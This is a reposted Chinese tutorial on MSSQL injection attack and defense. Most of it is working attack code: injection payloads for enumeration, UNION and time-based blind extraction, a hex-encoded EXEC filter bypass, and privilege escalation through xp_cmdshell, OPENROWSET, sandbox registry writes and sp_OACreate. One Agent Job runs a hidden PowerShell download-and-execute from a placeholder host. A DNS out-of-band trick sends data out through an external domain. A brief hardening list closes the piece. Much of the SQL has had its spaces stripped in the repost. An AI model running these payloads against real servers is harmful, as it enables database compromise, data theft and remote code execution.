Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】MSSQL 注入攻击与防御

$
0
0
【技术分享】mssql 注入攻击与防御

2017-05-04 10:22:19

阅读:277次
点赞(0)
收藏




【技术分享】MSSQL 注入攻击与防御

作者:rootclay





【技术分享】MSSQL 注入攻击与防御

作者:rootclay

预估稿费:400RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


传送门

【技术分享】mysql 注入攻击与防御


前言

上一篇文章已经为大家推出了MySQL注入攻击与防御,这里再写一下MSSQL注入攻击与防御,同样对与错误的地方希望大家指出共同进步

本文所用数据库涉及SQL Server 2k5,2k8,2k12,其次对于绕过姿势和前文并无太大差别,就不做过多的讲解,主要放在后面的提权上


系统库


【技术分享】MSSQL 注入攻击与防御

注释


【技术分享】MSSQL 注入攻击与防御

实例:

SELECT*FROMUsersWHEREusername=''OR1=1--'ANDpassword=''; SELECT*FROMUsersWHEREid=''UNIONSELECT1,2,3/*';

版本&数据库当前用户&主机名

版本

select@@VERSION

如果是2012的数据库返回为True

SELECT*FROMUsersWHEREid='1'AND@@VERSIONLIKE'%2012%'; 数据库当前用户

【技术分享】MSSQL 注入攻击与防御

实例:

Returncurrentuser: SELECTloginameFROMmaster..sysprocessesWHEREspid=@@SPID; Checkifuserisadmin: SELECT(CASEWHEN(IS_SRVROLEMEMBER('sysadmin')=1)THEN'1'ELSE'0'END);

主机名

select@@SERVERNAME

库&表&列

库名


【技术分享】MSSQL 注入攻击与防御

测试列数

ORDERBYn+1;

实例:

query:SELECTusername,passwordFROMUsersWHEREid='1'; 1'ORDERBY1--True 1'ORDERBY2--True 1'ORDERBY3--False-查询使用了2列 -1'UNIONSELECT1,2--True GROUPBY/HAVING

实例:

query:SELECTusername,passwordFROMUsersWHEREid='1'; 1'HAVING1=1--错误 1'GROUPBYusernameHAVING1=1----错误 1'GROUPBYusername,passwordHAVING1=1----正确 GroupBy可以用来测试列名

获取表名


【技术分享】MSSQL 注入攻击与防御

这里使用的U表示用户表,还有视图和存储过程分别表示为 U = 用户表, V = 视图 , X = 扩展存储过程

获取列名


【技术分享】MSSQL 注入攻击与防御

接收多条数据

临时表

除了上述的查询方式在MSSQL中可以使用临时表来查看数据,步骤如下

//1.创建临时表/列和插入数据: BEGINDECLARE@testvarchar(8000)SET@test=':'SELECT@test=@test+''+nameFROMsysobjectsWHERExtype='U'ANDname>@testSELECT@testAStestINTOTMP_DBEND; //2.转储内容: SELECTTOP1SUBSTRING(test,1,353)FROMTMP_DB; //3.删除表: DROPTABLETMP_DB;

XML列数据

SELECTtable_nameFROMinformation_schema.tablesFORXMLPATH('')

字符串连接符

相对于MySQL来说少了两个函数,有如下方式连接:

SELECTCONCAT('a','a','a');(SQLSERVER2012) SELECT'a'+'d'+'mi'+'n';

条件语句&时间

条件语句

IF...ELSE...//注意IF是不能再SELECT语句中使用的 CASE...WHEN...ELSE...

实例:

IF1=1SELECT'true'ELSESELECT'false'; SELECTCASEWHEN1=1THENtrueELSEfalseEND;

时间

WAITFORDELAY'time_to_pass'; WAITFORTIME'time_to_execute'; IF1=1WAITFORDELAY'0:0:5'ELSEWAITFORDELAY'0:0:0';//这里表示,如果条件成立,延迟5s

文件

查看文件权限

CREATETABLEmydata(linevarchar(8000)); BULKINSERTmydataFROM‘c:boot.ini’; DROPTABLEmydata;

定位数据库文件

EXECsp_helpdbmaster;–locationofmaster.mdf

绕过技巧

这里讲绕过技巧的话其实很多和MySQL的绕过姿势都是类似的,就举几个常见的,其他的可以参见前面的MySQL注入攻击与防御

绕过引号

SELECT*FROMUsersWHEREusername=CHAR(97)+CHAR(100)+CHAR(109)+CHAR(105)+CHAR(110)

16进制转换绕过

'AND1=0;DECLARE@SVARCHAR(4000)SET@S=CAST(0x44524f50205441424c4520544d505f44423bASVARCHAR(4000));EXEC(@S);--

MSSQL提权

这里先推荐一个工具PowerUpSQL,主要用于对SQL Server的攻击,还能快速清点内网中SQL Server的机器,更多的信息可以到GitHub上查看使用.

其次下面主要讲的一些提权姿势为存储过程提权,想要查看数据库中是否有对应的存储过程,可以用下面的语句:

selectcount(*)frommaster.dbo.sysobjectswherextype='x'andname='xp_cmdshell'

或者查询对应数据库中定义的存储过程有哪些:

SELECTROUTINE_CATALOG,SPECIFIC_SCHEMA,ROUTINE_NAME,ROUTINE_DEFINITION FROMMASTER.INFORMATION_SCHEMA.ROUTINES ORDERBYROUTINE_NAME

推荐一篇文章,是关于证书登录提权的文章

xp_cmdshell

EXECmaster.dbo.xp_cmdshell'cmd';

最为经典的就是这个组件了,但是2005之后就默认关闭,而且现在来说都会把这个扩展删除掉


【技术分享】MSSQL 注入攻击与防御

因为xp_cmdshell用得最多,这里就xp_cmdshell使用过程中可能遇到的和网上收集问题列举一下:

首先说明一下,下面用到的addextendedproc的时候是没有开启的,试了一些语句,下面的语句可以创建一个存储过程:

usemaster go createproceduresp_addextendedproc @functnamenvarchar(517), @dllnamevarchar(255) as setimplicit_transactionsoff if@@trancount>0 begin raiserror(15002,-1,-1,'sp_addextendedproc') return(1) end dbccaddextendedproc(@functname,@dllname) return(0)

1.未能找到存储过程'master..xpcmdshell'.

恢复方法:

EXECsp_addextendedprocxp_cmdshell,@dllname='xplog70.dll'declare@oint EXECsp_addextendedproc'xp_cmdshell','xpsql70.dll'

2.无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)

恢复方法:

EXECsp_dropextendedproc"xp_cmdshell" EXECsp_addextendedproc'xp_cmdshell','xpsql70.dll'

3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)

恢复方法:

execsp_dropextendedproc'xp_cmdshell' execsp_addextendedproc'xp_cmdshell','xpweb70.dll'

4. SQL Server 阻止了对组件 'xp_cmdshell' 的 过程'sys.xp_cmdshell' 的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。系统管理员可以通过使用 sp_configure 启用 'xp_cmdshell'。有关启用 'xp_cmdshell' 的详细信息,请参阅 SQL Server 联机丛书中的 "外围应用配置器"。

恢复方法:

执行:EXECsp_configure'showadvancedoptions',1;RECONFIGURE;EXECsp_configure'xp_cmdshell',1;RECONFIGURE; xp_dirtree

获取文件信息,可以列举出目录下所有的文件与文件夹

参数说明:目录名,目录深度,是否显示文件

executemaster..xp_dirtree'c:' executemaster..xp_dirtree'c:',1 executemaster..xp_dirtree'c:',1,1

OPENROWSET

OPENROWSET 在MSSQL 2005及以上版本中默认是禁用的.需要先打开:

打开语句:


【技术分享】MSSQL 注入攻击与防御

然后执行:

SELECT*FROMOPENROWSET('SQLOLEDB','数据库地址';'数据库用户名';'数据库密码','SETFMTONLYOFFexecutemaster..xp_cmdshell"dir"');

这种攻击是需要首先知道用户密码的.

沙盒

开启沙盒:

execmaster..xp_regwrite'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1 执行命令: select*fromopenrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\dnary.mdb','selectshell("whoami")') SP_OACREATE

其实xp_cmdshell一般会删除掉了,如果xp_cmdshell 删除以后,可以使用SP_OACreate

需要注意的是这个组件是无回显的,你可以把他直接输出到web目录下的文件然后读取


【技术分享】MSSQL 注入攻击与防御

下面是收集来的sp_OACreate的一些命令:


【技术分享】MSSQL 注入攻击与防御

Agent Job

关于Agent job执行命令的这种情况是需要开启了MSSQL Agent Job服务才能执行,这里列出命令,具体的原理在安全客已经有过总结这里

USEmsdb; EXECdbo.sp_add_job@job_name=N'clay_powershell_job1'; EXECsp_add_jobstep @job_name=N'clay_powershell_job1', @step_name=N'clay_powershell_name1', @subsystem=N'PowerShell', @command=N'powershell.exe-nop-whidden-c"IEX((new-objectnet.webclient).downloadstring(''http://Your_IP/Your_file''))"', @retry_attempts=1, @retry_interval=5; EXECdbo.sp_add_jobserver @job_name=N'clay_powershell_job1'; EXECdbo.sp_start_jobN'clay_powershell_job1';

Else

MSSQL还有其他的很多存储过程可以调用,下面做一个小列举,有兴趣的朋友可以逐一研究:


【技术分享】MSSQL 注入攻击与防御

下面是关于一些存储过程调用的例子:


【技术分享】MSSQL 注入攻击与防御


Out-of-Band

关于带外注入在上一篇文章已经有讲到,但DNS注入只讲了利用,这里做了一张图为大家讲解,同样的SMB Relay Attack 也是存在的,可自行实现.

下图就是DNS注入中的请求过程


【技术分享】MSSQL 注入攻击与防御

那么SQL Server的DNS注入和MySQl稍有不容,但都是利用了SMB协议

Param=1;SELECT*FROMOPENROWSET('SQLOLEDB',({INJECT})+'.rootclay.club';'sa';'pwd','SELECT1') MakesDNSresolutionrequestto{INJECT}.rootclay.club

防御

对于代码上的防御在上一篇文章已有总结,就不多BB了.....这里主要说一下存储过程方面的东西

1. 设置TRUSTWORTHY为offALTER DATABASE master SET TRUSTWORTHY OFF

2. 确保你的存储过程的权限不是sysadmin权限的

3. 对于 PUBLIC用户是不能给存储过程权限的REVOKE EXECUTE ON 存储过程 to PUBLIC

4. 对于自己不需要的存储过程最好删除

5. 当然,在代码方面就做好防御是最好的选择,可以参见上篇文章


参考

http://www.blackhat.com/presentations/bh-europe-09/Guimaraes/Blackhat-europe-09-Damele-SQLInjection-slides.pdf

http://colesec.inventedtheinternet.com/hacking-sql-server-with-xp_cmdshell/

http://www.cnblogs.com/zhycyq/articles/2658225.html

https://evi1cg.me/tag/mssql/

http://404sec.lofter.com/post/1d16b278_6329f6d


传送门

【技术分享】MySQL 注入攻击与防御




【技术分享】MSSQL 注入攻击与防御
【技术分享】MSSQL 注入攻击与防御
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/3807.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles